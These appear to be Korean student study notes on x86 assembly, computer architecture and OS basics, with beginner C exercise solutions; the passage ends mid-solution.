• Thiscall this는 ECX에 전달하고 나머지는 스택에 전달하고 호출자 C++ 클래스 멤버 함수용으로 사용

  x86-64 프롤로그와 에필로그

• 함수를 호출하면 컴파일러는 정확한 규칙을 따라 어셈블리 코드를 생성
• 프롤로그(Prologue)와 에필로그(Epilogue)

  프롤로그(Prologue)

• push rbp --- 이전 함수의 프레임 포인터 저장
• mov rbp, rsp --- 현재 스택 포인터를 기준 프레임 포인터로 설정
• sub rsp, N --- 지역 변수나 정렬 공간 확보 (N은 16의 배수)

  에필로그(Epilogue)

• mov rsp, rbp --- 스택 포인터 복원
• pop rbp --- 이전 프레임 포인터 복원
• ret --- 호출자 주소로 복귀
  함수가 끝나면 호출한 쪽(Caller)으로 돌아가야 함

과제

Hello Layer7 12번 출력

section .data
    msg db 'Hello Layer7', 10     ; "Hello Layer7" 문자열 저장
    len equ $ - msg

section .text
    global _start

_start:
    ; 1
    mov eax, 4        ; 시스템 호출 번호 4 : sys_write <- write 함수
    mov ebx, 1      ; 파일 디스크립터 1 : 출력 (stdout)
    mov ecx, msg    ; 출력할 문자열의 주소를 ECX에 이동
    mov edx, len    ; 출력할 길이를 EDX에 이동
    int 0x80        ; 커널 인터럽트를 호출해서 write 실행
    ; 2
    int 0x80
    ; 3
    int 0x80
    ; 4
    int 0x80
    ; 5
    int 0x80
    ; 6
    int 0x80
    ; 7
    int 0x80
    ; 8
    int 0x80
    ; 9
    int 0x80
    ; 10
    int 0x80
    ; 11
    int 0x80
    ; 12
    int 0x80

    ; exit
    mov eax, 1        ; 시스템 호출 번호 1 : sys_exit
    xor ebx, ebx    ; ebx = 0 (exit 코드 0)
    int 0x80        ; 커널 인터럽트 호출 -> 종료

section .data

• msg : 출력할 문자열 "Hello Layer7"에 줄바꿈 문자(ASCII 10, 즉 \n)
• len : 문자열의 길이를 계산. $는 현재 주소, msg는 시작 주소 → $ - msg는 문자열 전체 길이

  section .text

• 프로그램의 시작을 _start 라벨을 외부(운영체제)에서 사용할 수 있도록 지정
• Linux 커널이 실행을 시작할 때 _start 레이블을 기준으로 실행

  _start:

• 문자열 한 줄을 출력
• int 0x80만 반복되어 총 12번 호출되며, 같은 메시지를 반복 출력

  반복 구조

• eax, ebx, ecx, edx 값이 바뀌지 않음 따라서 int 0x80 반복 호출시 같은 메시지를 반복 출력
• "Hello Layer7" 12번 출력

5번

프로그램 실행 중(Run-Time)에 사용자 요청에 따라 크기가 결정되는 메모리 영역은?

1. 코드 영역

X 코드 영역은 실행할 코드가 저장되는 영역으로서 text 영역으로도 불리는 영역

2. BSS

X 초기화되지 않은 전역 변수나 정적 변수들이 저장되는 메모리 영역 데이터 영역에 속함 BSS 외에 GVAR 영역 역시 데이터 영역에 속함

3. 스택 영역

X 프로그램이 자동으로 사용하는 임시 메모리 영역으로서 함수의 호출과 관계되는 지역변수와 매개변수가 저장되는 영역

4. 힙 영역

O 사용자가 직접 관리하는 영역으로서 사용자에 의해 메모리 공간이 동적으로 할당되거나 해제되는 영역

5. 데이터 영역

X 프로그램의 전역변수, 정적변수, 문자열상수가 저장 되어지는 영역으로서 프로그램 시작과 동시에 할당, 종료시 소멸되는 영역

12번

Vim에 대한 설명으로 옳지 않은 것은?

1. Vim은 텍스트 편집기로, 명령어 모드, 일반 모드, 입력 모드를 구분하여 사용한다.

   O vim은 3가지 모드로 나뉘며, 명령어 모드, 일반 모드, 입력 모드가 존재함

2. 명령어 모드에서 "wq"를 입력하면 파일을 저장하고 Vim을 종료할 수 있다.

   O ":w"는 저장 ":q"는 닫기 (저장 X) ":wq"는 저장하고 종료함

3. 입력 모드에서는 텍스트를 자유롭게 입력할 수 있으며, 입력 모드로 들어가려면 "i"를 누른다.

   O "i"는 insert로 해석할 수 있으며, 커서 앞에서 입력 모드로 전환하는 명령어

4. 일반 모드에서 :(콜론)을 눌러 명령어 모드로 전환할 수 있다.

   O 일반 모드에서 ":"을 눌러서 명령어 모드로 전환 한 후, "w", "q", "wq" 같은 명령어들을 실행시킬 수 있음

5. Vim은 기본적으로 모든 변경 사항을 자동으로 저장한다.

   X vim은 기본적으로 자동저장을 지원하지 않지만, 플러그인을 통해 자동저장을 활성화 시킬 수 있다고 함

15번

gcc 컴파일러 명령어의 사용 예시이다. 이 중에서 형식이 올바르지 않은 명령어를 고르시오.

1. gcc -o layer7 layer7.c

layer7.c를 컴파일하여 layer7 실행 파일 생성

O

2. gcc layer7.c -o layer7

layer7.c를 컴파일하여 layer7 실행 파일 생성

O

3. gcc -c layer7.c

layer7.c를 오브젝트 파일로 생성

O

4. gcc -run layer7.c

layer7.c를 실행 (하려는 의도 ..?)

X -run 이라는 명령어는 존재하지 않음

5. gcc layer7.c

layer7.c를 컴파일하여 a.out 실행 파일 생성

O

컴퓨터 구조

프로그램이 실제로 어떤 과정을 거쳐서 기계 수준에서 실행되는지를 다루는 분야

컴퓨터 구조를 배우는 이유?

컴퓨터 구조를 알아야 컴퓨터에 대한 이해와 기술적 지식을 습득 가능

리버스 엔지니어링과 포너블을 위해서는 컴퓨터 구조에 대한 이해가 필요

ISA (Instruction Set Architecture)

CPU가 이해하고 실행할 수 있는 명령어 집합과 동작 방식을 정의한 규약

EX) ARM, x86, x86-64

중앙처리장치 (CPU)

프로그램의 연산을 처리하고 시스템을 관리하는 두뇌 역활을 하는 장치

• ALU, Register으로 구성

기억장치 (Memory)

컴퓨터가 동작하는데 필요한 여러 데이터를 저장하는 장치 용도에 따라 주/보조기억장치로 분류

• 주기억장치 - 필요한 데이터를 임시로 저장(RAM)
• 보조기억장치 - 프로그램, 운영체제 같은 데이터를 장기간 저장(HDD, SSD)

Byte Ordering

2byte 이상의 데이터는 메모리에 연속적으로 저장 이 때, 메모리의 정렬되는 방식

Bit의 수가 아닌 Byte의 수를 고려한다는 점을 주의

Bit의 순서는 동일, Byte의 순서만 변동

Big-Endian

큰 byte부터 메모리의 낮은 주소에 저장

EX)

0x0123 0x01 0x23

Little-Endian

작은 byte부터 메모리의 낮은 주소에 저장

• x86, x86-64 CPU에서 사용

  EX)

  0x0123 0x23 0x01

Encoding-Decoding

Encoding - 데이터를 특정한 형식으로 암호화

Decoding - 인코딩 데이터를 원래 값으로 복호화

Base64 인코딩 문제 풀이를 통한 실습

운영체제 (OS)

사용자가가 컴퓨터를 사용하기 위해 필요한 소프트웨어 컴퓨터를 사용하면서 실행한 프로그램들은 운영체제에서 관리&제어

하는 일

CPU, 메모리 등 하드웨어 자원을 효율적으로 사용하도록 자원을 분배, 할당함

EX)

CPU 스케줄링 메모리 공간을 분배 및 관리 정보를 주고 받는 과정 관리

운영체제의 구조상 위치

Application > shell > Kernel > H/W

shell과 Kernel을 연결해주는 OS

운영체제 (OS) - Shell

kernel과 상호작용할 수 있도록 해주는 명령어 해석기 -> 사용자가 입력한 명령을 해석 / 시스템에 전달

EX)

bash zsh sh

운영체제 (OS) - kernel

하드웨어와 소프트웨어 사이를 중재

kernel의 주요 역할

• 프로세스 관리 -> exec()
• 메모리 관리
• 파일 시스템 관리 -> open(), read()
• I/O 관리
• System Call 제공

  운영체제 종류

  EX)

  UNIX는 벨 연구소에서 개발한 운영체제, 현대 운영체제의 원형 Linux는 오픈소스 프로그램, UNIX를 계승하여 발전함, 다양한 환경에서 사용됨
• 그밖에 Windows, iOS 등 다른 운영체제들도 존재

CLI : Command Line Interface

문자로 사용자와 컴퓨터가 상호작용하여 동작하는 인터페이스

EX)

Mac-Termenal 등

리눅스 기초 명령어

과제

과제_설명

과제_해결

해결과정

사용 명령어 설명

pwd - 현재 작업 중인 디렉터리의 경로를 출력 ls - 현재 디렉터리의 파일 목록을 출력 cat (파일명) - (파일명) 파일의 내용을 화면의 출력

풀이

1. touch 명령어를 사용하여 shiny.c 파일을 생성
2. vim shiny.c 를 이용하여 shiny.c 파일에 지정된 코드 타이핑 및 저장
3. pwd, ls, cat shiny.c 명령어를 순서대로 사용하여 지정된 사진처럼 출력

1001 : [기초-출력] 출력하기01(설명)

입력

입력 없음

출력

Hello

풀이

출력함수를 이용하여 주어진 문장 출력

#include <stdio.h>
int main() {
    printf("Hello");

    return 0;
}

1002 : [기초-출력] 출력하기02(설명)

입력

입력 없음

출력

Hello World

풀이

출력함수를 이용하여 주어진 문장 출력

#include <stdio.h>
int main() {
    printf("Hello World");

    return 0;
}

1003 : [기초-출력] 출력하기03(설명)

입력

입력 없음

출력

Hello World

풀이

이스케이프 시퀸스를 이용하여 주어진 문장 출력

#include <stdio.h>
int main() {
    printf("Hello\nWorld");

    return 0;
}

1004 : [기초-출력] 출력하기04(설명)

입력

입력 없음

출력

'Hello'

풀이

이스케이프 시퀸스를 이용하여 주어진 문장 출력

#include <stdio.h>
int main() {
    printf("\'Hello\'");

    return 0;
}

1005 : [기초-출력] 출력하기05(설명)

입력

입력 없음

출력

"Hello World"

풀이

이스케이프 시퀀스를 이용하여 주어진 문장 출력

#include <stdio.h>
int main() {
    printf("\"Hello World\"");

    return 0;
}

1006 : [기초-출력] 출력하기06(설명)

입력

입력 없음

출력

"!@#$%^&*()"

풀이

이스케이프 시퀀스를 이용하여 특수부호들을 출력

#include <stdio.h>
int main() {
    printf("\"!@#$%%^&*()\"");

    return 0;
}

1007 : [기초-출력] 출력하기07(설명)

입력

입력 없음

출력

"C:\Download\hello.cpp"

풀이

이스케이프 시퀀스를 이용하여 주어진 문장 출력

#include <stdio.h>
int main() {
    printf("\"C:\\Download\\hello.cpp\"");

    return 0;
}

1008 : [기초-출력] 출력하기08(설명)

입력

입력 없음

출력

┌┬┐ ├┼┤ └┴┘

풀이

유니코드를 이용하여 주어진 모양 출력

#include <stdio.h>
int main() {
    printf("\u250C\u252C\u2510\n");
    printf("\u251C\u253C\u2524\n");
    printf("\u2514\u2534\u2518\n");

    return 0;
}

1010 : [기초-입출력] 정수 1개 입력받아 그대로 출력하기(설명)

입력

15

출력

15

풀이

입력함수를 이용하여 정수를 입력받고 출력

#include <stdio.h>
int main() {
    int n;
    scanf("%d", &n);
    printf("%d", n);

    return 0;
}

1011 : [기초-입출력] 문자 1개 입력받아 그대로 출력하기(설명)

입력

p

출력

p

풀이

입력함수를 이용하여 문자를 입력받고 출력

#include <stdio.h>
int main() {
    char x;
    scanf("%c", &x);
    printf("%c", x);

    return 0;
}

1012 : [기초-입출력] 실수 1개 입력받아 그대로 출력하기(설명)

입력

1.414213

출력

1.414213

풀이

입력함수를 이용하여 실수를 입력받고 출력

#include <stdio.h>
int main() {
    float x;
    scanf("%f", &x);
    printf("%f", x);

    return 0;
}

1013 : [기초-입출력] 정수 2개 입력받아 그대로 출력하기(설명)

입력

1 2

출력

1 2

풀이

입력함수를 이용하여 2개의 정수를 입력받고 출력

#include <stdio.h>
int main(){
    int a, b;
    scanf("%d %d", &a, &b);
    printf("%d %d", a, b);

    return 0;
}

1014 : [기초-입출력] 문자 2개 입력받아 순서 바꿔 출력하기(설명)

입력

A b

출력

b A

풀이

입력함수를 이용하여 2개의 문자를 입력받고, 출력함수에서 순서를 바꿔서 출력

#include <stdio.h>
int main(){
    char x, y;
    scanf("%c %c", &x, &y);

    printf("%c %c", y, x);

    return 0;
}

1015 : [기초-입출력] 실수 입력받아 둘째 자리까지 출력하기(설명)

입력

1.59254

출력

1.59

풀이

float형을 지정된 값까지만 불러오도록 지정하여 출력

#include <stdio.h>
int main(){
    float x;
    scanf("%f", &x);
    printf("%.2f", x);

    return 0;
}

1017 : [기초-입출력] 정수 1개 입력받아 3번 출력하기(설명)

입력

125

출력

125 125 125

풀이

출력함수를 이용하여 변수 'a'를 3번 출력

#include <stdio.h>
int main(){
    int a;
    scanf("%d", &a);

    printf("%d %d %d", a, a, a);

    return 0;
}

1018 : [기초-입출력] 시간 입력받아 그대로 출력하기(설명)

입력

3:16

출력

3:16

풀이

두 정수를 ':'로 구분하여 입력받고, 출력

#include <stdio.h>
int main() {
    int h, m;
    scanf("%d:%d", &h, &m);
    printf("%d:%d", h, m);

    return 0;
}

1019 : [기초-입출력] 연월일 입력받아 그대로 출력하기

입력

2013.8.5

출력

2013.08.05

풀이

%0n을 통해 채워지지 않은 자리에 0을 채워서 출력

#include <stdio.h>
int main() {
    int y, m, d;
    scanf("%d.%d.%d", &y, &m, &d);

    printf("%04d.%02d.%02d", y, m, d);

    return 0;
}

1020 : [기초-입출력] 주민번호 입력받아 형태 바꿔 출력하기

입력

000907-1121112

출력

0009071121112

풀이

%0n을 통해 채워지지 않은 자리에 0을 채워서 출력

#include <stdio.h>

int main() {
    long int a, b;
    scanf("%ld-%ld", &a, &b);

    printf("%06ld%07ld", a, b);

    return 0;
}

1021 : [기초-입출력] 단어 1개 입력받아 그대로 출력하기(설명)

입력

Informatics

출력

Informatics

풀이

크기를 지정하여 문자열을 선언 후, 입력함수로 값을 받고 출력

#include <stdio.h>

int main() {
    char s[51] = " ";
    scanf("%s", s);

    printf("%s", s);

    return 0;
}

1022 : [기초-입출력] 문장 1개 입력받아 그대로 출력하기(설명)

입력

Programming is very fun!!

출력

Programming is very fun!!

풀이

크기를 지정하여 문자열을 선언 후, 입력함수로 값을받고 출력

fgets() 와 scanf() 의 차이점 fgets() - 공백 포함 가능 scanf() - 공백 포함 불가능

#include <stdio.h>

int main() {
    char s[2001];
    fgets(s, 2000, stdin);

    printf("%s", s);

    return 0;
}

1023 : [기초-입출력] 실수 1개 입력받아 부분별로 출력하기(설명)

입력

1.414213

출력

1 414213

풀이

'.' 을 기준으로 다른 변수로 입력받고, 이스케이프 시퀸스를 이용하여 출력

#include <stdio.h>

int main() {
    long int a, b;
    scanf("%d.%d", &a, &b);

    printf("%d\n%d", a, b);

    return 0;
}

1024 : [기초-입출력] 단어 1개 입력받아 나누어 출력하기(설명)

입력

Boy

출력

'B' 'o' 'y'

풀이

문자열 인덱스를 이용하여 출력

#include <stdio.h>

int main() {
    char d[30];
    scanf("%s", d);
    for(int i = 0; d[i] != '\0'; i++)
    {
        printf("\'%c\'\n", d[i]);
    }

    return 0;
}

1025 : [기초-입출력] 정수 1개 입력받아 나누어 출력하기(설명)

입력

75254

출력

[70000]\n [5000]\n [200]\n [50]\n [4]

풀이

'1d'를 이용해 각각의 변수에 정수를 할당한 후, 각 자리의 값의 크기를 출력

`nd' - n개의 정수값을 입 / 출력

#include <stdio.h>

int main() {
    long int a, b, c, d, e;
    scanf("%1d%1d%1d%1d%1d", &a, &b, &c, &d, &e);

    printf("[%d]\n", a*10000);
    printf("[%d]\n", b*1000);
    printf("[%d]\n", c*100);
    printf("[%d]\n", d*10);
    printf("[%d]\n", e*1);

    return 0;
}

1026 : [기초-입출력] 시분초 입력받아 분만 출력하기(설명)

입력

17:23:57

출력

23

풀이

':' 를 기준으로 나누어서 각각의 변수의 할당한 후, 분만 출력

#include <stdio.h>
int main() {
    int h, m, s;
    scanf("%d:%d:%d", &h, &m, &s);
    printf("%d", m);

    return 0;
}

1027 : [기초-입출력] 년월일 입력 받아 형식 바꿔 출력하기(설명)

입력

2014.07.15

출력

15-07-2014

풀이

'.' 을 기준으로 나누어 각각의 변수에 할당 후, 출력 형식에 맞게 출력

#include <stdio.h>
int main() {
    int y, m, d;
    scanf("%d.%d.%d", &y, &m, &d);
    printf("%02d-%02d-%04d", d, m, y);

    return 0;
}

1028 : [기초-데이터형] 정수 1개 입력받아 그대로 출력하기2(설명)

입력

2147483648

출력

2147483648

풀이

unsigned int형의 변수에 값을 할당받고 출력

unsigned int형 - int형보다 더 넓은 범위의 자연수를 할당 가능 %d - int형 %u - unsigned int형

#include <stdio.h>
int main() {
    unsigned int n;
    scanf("%u", &n);
    printf("%u", n);

    return 0;
}

1029 : [기초-데이터형] 실수 1개 입력받아 그대로 출력하기2(설명)

입력

3.14159265359

출력

3.14159265359

풀이

double형의 변수에 값을 할당받고 출력

double형 - float형보다 더 넓은 범위의 실수를 할당 가능 %f - float형 %lf - double형

#include <stdio.h>
int main() {
    double d;
    scanf("%lf", &d);
    printf("%.11f", d);

    return 0;
}

1030 : [기초-데이터형] 정수 1개 입력받아 그대로 출력하기3(설명)

입력

-2147483649

출력

-2147483649

풀이

long long int형의 변수에 값을 할당받고 출력

long long int형 - int형보다 더 넓은 범위의 자연수를 할당 가능 %d - int형 %lld - long long int형

#include <stdio.h>
int main(){
    long long int n;
    scanf("%lld", &n);
    printf("%lld", n);

    return 0;
}

1031 : [기초-출력변환] 10진 정수 1개 입력받아 8진수로 출력하기(설명)

입력

10

출력

12

풀이

10진수를 입력받아 8진수로 출력

%d - 10진수 %x - 8진수

#include <stdio.h>
int main() {
    int a;
    scanf("%d", &a);

    printf("%o", a);

    return 0;
}

1032 : [기초-출력변환] 10진 정수 입력받아 16진수로 출력하기1(설명)

입력

255

출력

ff

풀이

10진수를 입력받아 16진수(소문자)로 출력

%d - 10진수 %x - 16진수(소문자)

#include <stdio.h>
int main() {
    int a;
    scanf("%d", &a);

    printf("%x", a);

    return 0;
}

1033 : [기초-출력변환] 10진 정수 입력받아 16진수로 출력하기2(설명)

입력

255

출력

FF

풀이

10진수를 입력받아 16진수(대문자)로 출력

%d - 10진수 %X - 16진수(대문자)

#include <stdio.h>
int main() {
    int a;
    scanf("%d", &a);

    printf("%X", a);

    return 0;
}

1034 : [기초-출력변환] 8진 정수 1개 입력받아 10진수로 출력하기(설명)

입력

13

출력

11

풀이

8진수를 입력받아 10진수로 출력

%o - 8진수 %d - 10진수

#include <stdio.h>
int main() {
    int a;
    scanf("%o", &a);

    printf("%d", a);

    return 0;
}

1035 : [기초-출력변환] 16진 정수 1개 입력받아 8진수로 출력하기(설명)

입력

f

출력

17

풀이

16진수를 입력받아 8진수로 출력

%x - 16진수 %o - 8진수

#include <stdio.h>
int main() {
    int a;
    scanf("%x", &a);

    printf("%o", a);

    return 0;
}

1036 : [기초-출력변환] 영문자 1개 입력받아 10진수로 출력하기(설명)

입력

A

출력

65

풀이

문자를 입력받고, 고유 아스키코드값을 이용하여 정수로 출력

getchar() - 문자 한 개를 입력받는 함수

#include <stdio.h>

int main() {
    char c;

    c = getchar();

    printf("%d", c);

    return 0;
}

1037 : [기초-출력변환] 정수 입력받아 아스키 문자로 출력하기

입력

65

출력

A

풀이

정수를 입력받고, 고유 아스키코드값을 이용하여 문자로 출력

#include <stdio.h>

int main() {
    int d;

    scanf("%d", &d);

    printf("%c", d);

    return 0;
}

1038 : [기초-산술연산] 정수 2개 입력받아 합 출력하기1(설명)

입력

123 -123

출력

0

풀이

정수 2개를 입력받고, 더한 값을 출력

#include <stdio.h>

int main() {
    long int x, y;

    scanf("%ld %ld", &x, &y);

    printf("%ld", x+y);

    return 0;
}

1039 : [기초-산술연산] 정수 2개 입력받아 합 출력하기2(설명)

입력

2147483648 2147483648

출력

4294967296

풀이

정수 2개를 입력받고, 더한 값을 출력

#include <stdio.h>

int main() {
    long long int x, y;

    scanf("%lld %lld", &x, &y);

    printf("%lld", x+y);

    return 0;
}

1040 : [기초-산술연산] 정수 1개 입력받아 부호 바꿔 출력하기(설명)

입력

-1

출력

1

풀이

정수를 입력받아 '-'를 곱하여 출력

#include <stdio.h>

int main() {
    int a;
    scanf("%d", &a);

    printf("%d", -a);

    return 0;
}

1041 : [기초-산술연산] 문자 1개 입력받아 다음 문자 출력하기(설명)

입력

a

출력

b

풀이

고유 아스키코드값에 +1을 하여 출력

#include <stdio.h>

int main() {
    char c;

    c = getchar();

    printf("%c", c+1);

    return 0;
}

1042 : [기초-산술연산] 정수 2개 입력받아 나눈 몫 출력하기(설명)

입력

1 3

출력

0

풀이

연산자 '/'를 사용하여 몫 출력

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a/b);

    return 0;
}

1043 : [기초-산술연산] 정수 2개 입력받아 나눈 나머지 출력하기(설명)

입력

10 3

출력

1

풀이

연산자 '%'를 사용하여 나머지 출력

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a%b);

    return 0;
}

1044 : [기초-산술연산] 정수 1개 입력받아 1 더해 출력하기(설명)

입력

2147483647

출력

2147483648

풀이

long long int형을 이용하여 변수 'a'에 1을 더한 후, 출력

#include <stdio.h>

int main() {
    long long int a;
    scanf("%lld", &a);

    printf("%lld", ++a);

    return 0;
}

1045 : [기초-산술연산] 정수 2개 입력받아 자동 계산하기

입력

10 3

출력

13 7 30 3 1 3.33

풀이

연산자 '+', '-', '*', '/', '%'를 이용하여 출력 형식에 맞게 출력

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d\n", a+b);
    printf("%d\n", a-b);
    printf("%d\n", a*b);
    printf("%d\n", a/b);
    printf("%d\n", a%b);
    printf("%.2f", (float)a/b);

    return 0;
}

1046 : [기초-산술연산] 정수 3개 입력받아 합과 평균 출력하기

입력

1 2 3

출력

6 2.0

풀이

연산자를 이용하여 세 수의 합과 평균을 출력

#include <stdio.h>

int main() {
    int a, b, c;
    scanf("%d %d %d", &a, &b, &c);

    printf("%d\n", a+b+c);
    printf("%.1f\n", (float)(a+b+c)/3);

    return 0;
}

1047 : [기초-비트시프트연산] 정수 1개 입력받아 2배 곱해 출력하기(설명)

입력

1024

출력

2048

풀이

비트시프트 연산을 통해 입력받은 정수를 2배 한 정수를 출력

printf("%d", a<<1); // 10을 2배 한 값인 20 이 출력 printf("%d", a>>1); // 10을 반으로 나눈 값인 5 가 출력 printf("%d", a<<2); // 10을 4배 한 값인 40 이 출력 printf("%d", a>>2); // 10을 반으로 나눈 후 다시 반으로 나눈 값인 2 가 출력

#include <stdio.h>

int main() {
    int a;
    scanf("%d", &a);

    printf("%d", a << 1);

    return 0;
}

1048 : [기초-비트시프트연산] 한 번에 2의 거듭제곱 배로 출력하기(설명)

입력

1 3

출력

8

풀이

비트시프트 연산을 통해 입력받은 정수를 2배 한 정수를 출력

printf("%d", 1 << 3); // 1 * 2 * 2 * 2가 출력

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a << b);

    return 0;
}

1049 : [기초-비교연산] 두 정수 입력받아 비교하기1(설명)

입력

9 1

출력

1

풀이

입력받은 두 정수를 대소비교하여 첫 번째 입력값이 더 크면 1을 출력

< : 오른쪽값이 왼쪽값보디 크면 1, 아니면 0

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a > b);

    return 0;
}

1050 : [기초-비교연산] 두 정수 입력받아 비교하기2(설명)

입력

0 0

출력

1

풀이

입력받은 두 정수의 값이 같으면 1을 출력

== : 두 수가 같으면 1, 다르면 0

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a == b);

    return 0;
}

1051 : [기초-비교연산] 두 정수 입력받아 비교하기3(설명)

입력

0 -1

출력

0

풀이

입력받은 두 정수를 대소비교하여 두 번째 입력값이 더 크거나 같은 경우 1을 출력

<= : 오른쪽값이 왼쪽값보다 크거나 같으면 1, 아니면 0

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a <= b);

    return 0;
}

1052 : [기초-비교연산] 두 정수 입력받아 비교하기4(설명)

입력

0 1

출력

1

풀이

입력받은 두 정수가 다른 경우 1을 출력

!= : 두 수가 다르면 1, 같으면 0

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a != b);

    return 0;
}

1053 : [기초-논리연산] 참 거짓 바꾸기(설명)

입력

1

출력

0

풀이

! 를 이용하여 정수 하나의 값을 입력받아 반대로 출력

! : 참이면 거짓, 거짓이면 참

#include <stdio.h>

int main() {
    int a;
    scanf("%d", &a);

    printf("%d", !a);

    return 0;
}

1054 : [기초-논리연산] 둘 다 참일 경우만 참 출력하기(설명)

입력

1 1

출력

1

풀이

&& 를 이용하여 출력 형식에 맞도록 출력

&& : 두 수가 참이면 참, 하나라도 거짓이면 거짓

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a && b);

    return 0;
}

1055 : [기초-논리연산] 하나라도 참이면 참 출력하기(설명)

입력

1 1

출력

1

풀이

|| 를 이용하여 출력 형식에 맞도록 출력

|| : 둘 중 하나라도 참이라면 참, 둘 다 거짓일때만 거짓

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a || b);

    return 0;
}

1056 : [기초-논리연산] 참/거짓이 서로 다를 때에만 참 출력하기(설명)

입력

1 1

출력

0

풀이

비교 연산자를 활용하여 출력 형식에 맞도록 출력

XOR(베타적 논리합) (a&&!b) || (!a&&b) : 참 / 거짓이 서로 다를 때에만 1로 계산

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", (a&&!b) || (!a&&b));

    return 0;
}

1057 : [기초-논리연산] 참/거짓이 서로 같을 때에만 참 출력하기

입력

0 0

출력

1

풀이

양쪽이 둘 다 참 혹은 둘 다 거짓일때만 1 이 출력

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", (a&&b) || (!a&&!b));

    return 0;
}

1058 : [기초-논리연산] 둘 다 거짓일 경우만 참 출력하기

입력

0 1

출력

0

풀이

양쪽이 모두 거짓일때만 1 이 출력

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", !(a||b));

    return 0;
}

1059 : [기초-비트단위논리연산] 비트단위로 NOT 하여 출력하기(설명)

입력

2

출력

-3

풀이

양쪽이 모두 거짓일때만 1 이 출력

~ : 정수값을 2진수로 변환하여 0인 부분은 1로, 1인 부분은 0으로 바꿈

#include <stdio.h>

int main() {
    int a;
    scanf("%d", &a);

    printf("%d", ~a);

    return 0;
}

1060 : [기초-비트단위논리연산] 비트단위로 AND 하여 출력하기(설명)

입력

3 5

출력

1

풀이

& 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력

& : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에 1이 있으면 1 다르거나 둘 다 0이면 0으로 정리하여 계산

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a&b);

    return 0;
}

1061 : [기초-비트단위논리연산] 비트단위로 OR 하여 출력하기(설명)

입력

3 5

출력

7

풀이

| 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력

| : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에 0이 있으면 0, 둘 중 하나가 1 이거나 둘 다 1인 경우 1로 계산

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a | b);

    return 0;
}

1062 : [기초-비트단위논리연산] 비트단위로 XOR 하여 출력하기(설명)

입력

3 5

출력

6

풀이

^ 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력

^ : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에 서로 다른 수가 있으면 1, 같은 수가 있으면 0으로 계산

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    printf("%d", a^b);

    return 0;
}

1063 : [기초-삼항연산] 두 정수 입력받아 큰 수 출력하기(설명)

입력

123 456

출력

456

풀이

두 수를 입력받아 더 큰 수를 출력하도록 삼항연산을 통해 출력

(조건식) ? 실행1 : 실행2 조건식이 참이면 실행1 을 거짓이면 실행2 를 실행

#include <stdio.h>

int main() {
    int a, b;
    scanf("%d %d", &a, &b);

    (a > b) ? printf("%d", a) : printf("%d", b);

    return 0;
}

1064 : [기초-삼항연산] 정수 3개 입력받아 가장 작은 수 출력하기(설명)

입력

3 -1 5

출력

-1

풀이

삼항연산을 중첩시켜 3개의 수를 비교한 후, 가장 작은 값을 출력

#include <stdio.h>

int main() {
    int n1, n2, n3;
    scanf("%d %d %d", &n1, &n2, &n3);

    (n1 > n2) ? (n3 > n2) ? printf("%d", n2) : printf("%d", n3) : (n1 > n3) ? printf("%d", n3) : printf("%d", n1);

    return 0;
}

1065 : [기초-조건/선택실행구조] 정수 3개 입력받아 짝수만 출력하기(설명)

입력

1 2 4

출력

2 4

풀이

조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들만 검사하여 출력

#include <stdio.h>

int main() {
    int arr[3];

    for (int i = 0; i < 3; i++) {
        scanf("%d", &arr[i]);
    }

    for (int i = 0; i < 3; i++) {
        if (arr[i] % 2 == 0)
            printf("%d ", arr[i]);
    }

    return 0;
}

1066 : [기초-조건/선택실행구조] 정수 3개 입력받아 짝/홀 출력하기(설명)

입력

1 2 8

출력

odd even even

풀이

조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들 even 아니면 odd로 출력

#include <stdio.h>

int main() {
    int arr[3];

    for (int i = 0; i < 3; i++) {
        scanf("%d", &arr[i]);
    }

    for (int i = 0; i < 3; i++) {
        if (arr[i] % 2 == 0)
            printf("even\n");
        else
            printf("odd\n");
    }

    return 0;
}

1067 : [기초-조건/선택실행구조] 정수 1개 입력받아 분석하기(설명)

입력

-2147483648

출력

minus even

풀이

0보다 크면 plus, 작으면 minus를 출력 조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들 even 아니면 odd로 출력

#include <stdio.h>

int main() {
    int num;
    scanf("%d", &num);

    if (num > 0)
    {
        if (num % 2 == 0)
        {
            printf("plus\neven");
        }else
        {
            printf("plus\nodd");
        }
    }else
    {
        if (num % 2 == 0)
        {
            printf("minus\neven");
        }else
        {
            printf("minus\nodd");
        }
    }

    return 0;
}

1068 : [기초-조건/선택실행구조] 정수 1개 입력받아 평가 출력하기(설명)

입력

73

출력

B

풀이

점수를 입력받고, 조건물을 통해 판단하여 등급 출력

#include <stdio.h>

int main() {
    int score;
    scanf("%d", &score);

    if (score >= 90) {
        printf("A");
    }else if (score >= 70) {
        printf("B");
    }else if (score >= 40) {
        printf("C");
    }else {
        printf("D");
    }

